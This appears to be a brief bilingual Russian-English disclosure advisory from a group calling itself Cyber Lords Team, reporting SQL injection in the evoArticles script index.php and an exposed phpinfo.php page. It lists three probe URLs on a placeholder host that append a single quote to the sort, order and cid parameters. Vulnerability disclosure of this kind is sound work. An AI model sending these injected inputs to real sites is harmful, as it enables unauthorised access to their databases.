SQL-Injection in evoArticles

Advisory: SQL-Injection in evoArticles

Home Page: http://evo-dev.com/

Уязвимость/Vulnerability:
SQL-injection

Уязвимый скрипт/Vulnerable script: index.php

http://www.target.com/index.php?do=cat&total=19&cid=37&sort=date&order=desc'&page=2

http://www.target.com/index.php?do=cat&total=19&cid=37&sort=date'&order=desc&page=2

http://www.target.com/index.php?do=cat&cid=22'

Открыт для просмотра файл phpinfo:

www.target.com/phpinfo.php

Cyber Lords Team
www.cyberlords.net